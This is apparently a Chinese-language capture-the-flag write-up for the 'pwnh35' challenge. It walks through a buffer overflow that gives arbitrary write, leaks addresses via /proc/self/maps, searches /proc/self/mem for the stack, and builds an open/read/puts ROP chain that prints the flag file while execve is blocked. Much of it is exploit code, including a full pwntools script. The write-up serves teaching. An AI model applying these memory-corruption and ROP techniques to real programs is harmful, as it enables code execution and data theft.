首先,检查一下程序的保护机制,发现保护全开
然后,我们用IDA分析一下
发现是一个读取文件并显示的程序,除了flag文件,其他文件都可以读取
程序有个缓冲区溢出漏洞
可以**[溢出,修改v8指针,然后我们就可以利用功能4,实现任意地址写]{.mark}**
由于可以读取除了flag之外的文件,那么我们可以读取/proc/self/maps 文件
Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。读取/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。/proc/self/mem是进程的内存内容 ,通过修改该文件相当于直接修改当前进程的内存 。该文件不能直接读取,需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。
同样的,我们也可以通过写入mem文件来直接写入内存,例如直接修改代码段,放入我们的shellcode,从而在程序流程执行到这一步时执行shellcode来拿shell。
那么,我们先来测试一下
我们得到了各个段的地址,由此,我们可以绕过PIE,以及利用/proc/self/mem来读取任意地址的内容。
为了确定本程序能否getshell,我们检测一下execve系统调用有没有被禁用
发现execve被禁用,那么我们就不能用system这些来getshell,我们可以构造ROP,把flag文件读取到内存中,再输出来。
然后,我们再看看程序
程序最后有一个exit(0),由此,覆盖fn函数的返回地址来构造ROP不可行 ,我们可以覆盖read函数的返回地址 ,也就是调用read任意写时,把自己的返回地址给覆盖了,这样ROP写入后就直接开始执行了。为了覆盖read的返回地址,我们就需要确定栈的地址。
但是,由于程序是clone出来的,第三个参数指定了clone出的进程的栈地址,程序一开始用mmap映射了一段内存,然后取了其中的一个随机的位置传给了clone,由此,我们不知道程序的栈地址。但是,我们可以通过读取/proc/self/mem文件,来[搜索标记,已确定程序的栈地址。]{.mark}
而**[标记就是”/proc/self/maps”字符串,因为buf里保存了这个字符串,当我们在内存中搜索到这个字符串时,当前位置就是buf的栈地址,由此,我们就可以计算出其他的栈地址。]{.mark}**
那么,我们先来获取一些需要的地址信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 enterRoom() setPath('/proc/self/maps' ) readSomething(2000 ) sh.recvuntil('You get something:\n' ) elf_base = int (sh.recvuntil('-' ).split('-' )[0 ],16 ) pop_rdi = elf_base + pop_s_rdi pop_rsi = elf_base + pop_s_rsi open_addr = elf_base + open_s_plt read_addr = elf_base + read_s_plt puts_addr = elf_base + puts_s_plt while True : line = sh.recvline() if 'heap' in line: line = sh.recvline() mmap_start = int (line.split('-' )[0 ],16 ) mmap_end = int (line.split('-' )[1 ].split(' ' )[0 ],16 ) break
接下来,我们就需要读取/proc/self/mem来搜索内存,确定栈地址了
程序只能执行30次功能调用,之前已经用了4次,最后我们还需要用2次,那么我们搜索就最多24次,
而我们每次最多允许读取100000个字节的数据,由此,我们能搜索2400000个字节的内容,通过IDA调试,观察buf的栈地址,计算它与mmap_end的值的差值,做一个大致的范围,由于栈是从高往低增长的,因此,我们应该从mmap_end – x ~ mmap_end搜索,其中x是一个范围。
那么,我们就开始搜索吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 stack_end = mmap_end stack_start = mmap_start offset = 0xf800000 begin_off = stack_end - offset - 24 * 100000 setPath('/proc/self/mem' ) seekTo(begin_off) print 'begin->' ,hex (begin_off),'to' ,hex (stack_end) for i in range (0 ,24 ): readSomething(100000 ) content = sh.recvuntil('1.Find ' )[:-7 ] if '/proc/self/mem' in content: print 'found!' arr = content.split('/proc/self/mem' )[0 ] break if i == 23 : print '未能成功确定v8的地址,请重试!' exit(0 ) v8_addr = begin_off + i * 100000 + len (arr) + 5 print 'v8 addr=' ,hex (v8_addr) read_ret = v8_addr - 0x50
现在,得到了存放read的返回地址的栈地址,我们就可以写ROP了
1 2 3 4 5 6 7 8 9 10 11 payload = '/proc/self/mem' .ljust(24 ,'\x00' ) + p64(read_ret) setPath(payload) rop = p64(pop_rdi) + p64(read_ret + 15 * 8 ) + p64(pop_rsi) + p64(0 ) + p64(0 ) + p64(open_addr) rop += p64(pop_rdi) + p64(6 ) + p64(pop_rsi) + p64(read_ret + 15 * 8 ) + p64(0 ) + p64(read_addr) rop += p64(pop_rdi) + p64(read_ret + 15 * 8 ) + p64(puts_addr) rop += '/home/ctf/flag\x00' giveSomething(rop)
然后,我们就得到了flag
综上,我们的exp脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 from pwn import * sh = process('./pwnh35' ) elf = ELF('./pwnh35' ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so' ) open_s_plt = elf.plt['open' ] read_s_plt = elf.plt['read' ] puts_s_plt = elf.plt['puts' ] pop_s_rsi = 0x1821 pop_s_rdi = 0x1823 def enterRoom (): sh.sendlineafter('Do you want to help me build my room? Y/n?\n' ,'Y' ) def setPath (content ): sh.sendlineafter('5.Exit\n' ,'1' ) sh.sendlineafter('So man, what are you finding?\n' ,content) def seekTo (pos ): sh.sendlineafter('5.Exit\n' ,'2' ) sh.sendlineafter('So, Where are you?\n' ,str (pos)) def readSomething (length ): sh.sendlineafter('5.Exit\n' ,'3' ) sh.sendlineafter('How many things do you want to get?\n' ,str (length)) def giveSomething (content ): sh.sendlineafter('5.Exit\n' ,'4' ) sh.sendlineafter('content:' ,content) enterRoom() setPath('/proc/self/maps' ) readSomething(2000 ) sh.recvuntil('You get something:\n' ) elf_base = int (sh.recvuntil('-' ).split('-' )[0 ],16 ) pop_rdi = elf_base + pop_s_rdi pop_rsi = elf_base + pop_s_rsi open_addr = elf_base + open_s_plt read_addr = elf_base + read_s_plt puts_addr = elf_base + puts_s_plt while True : line = sh.recvline() if 'heap' in line: line = sh.recvline() mmap_start = int (line.split('-' )[0 ],16 ) mmap_end = int (line.split('-' )[1 ].split(' ' )[0 ],16 ) break stack_end = mmap_end stack_start = mmap_start offset = 0xf800000 begin_off = stack_end - offset - 24 * 100000 setPath('/proc/self/mem' ) seekTo(begin_off) print 'begin->' ,hex (begin_off),'to' ,hex (stack_end) for i in range (0 ,24 ): readSomething(100000 ) content = sh.recvuntil('1.Find ' )[:-7 ] if '/proc/self/mem' in content: print 'found!' arr = content.split('/proc/self/mem' )[0 ] break if i == 23 : print '未能成功确定v8的地址,请重试!' exit(0 ) v8_addr = begin_off + i * 100000 + len (arr) + 5 print 'v8 addr=' ,hex (v8_addr) read_ret = v8_addr - 0x50 payload = '/proc/self/mem' .ljust(24 ,'\x00' ) + p64(read_ret) setPath(payload) rop = p64(pop_rdi) + p64(read_ret + 15 * 8 ) + p64(pop_rsi) + p64(0 ) + p64(0 ) + p64(open_addr) rop += p64(pop_rdi) + p64(6 ) + p64(pop_rsi) + p64(read_ret + 15 * 8 ) + p64(0 ) + p64(read_addr) rop += p64(pop_rdi) + p64(read_ret + 15 * 8 ) + p64(puts_addr) rop += '/home/ctf/flag\x00' giveSomething(rop) sh.interactive()
本题,我对maps和mem文件有了进一步的了解,其中maps文件里有程序的加载地址信息,mem是程序的内存映射。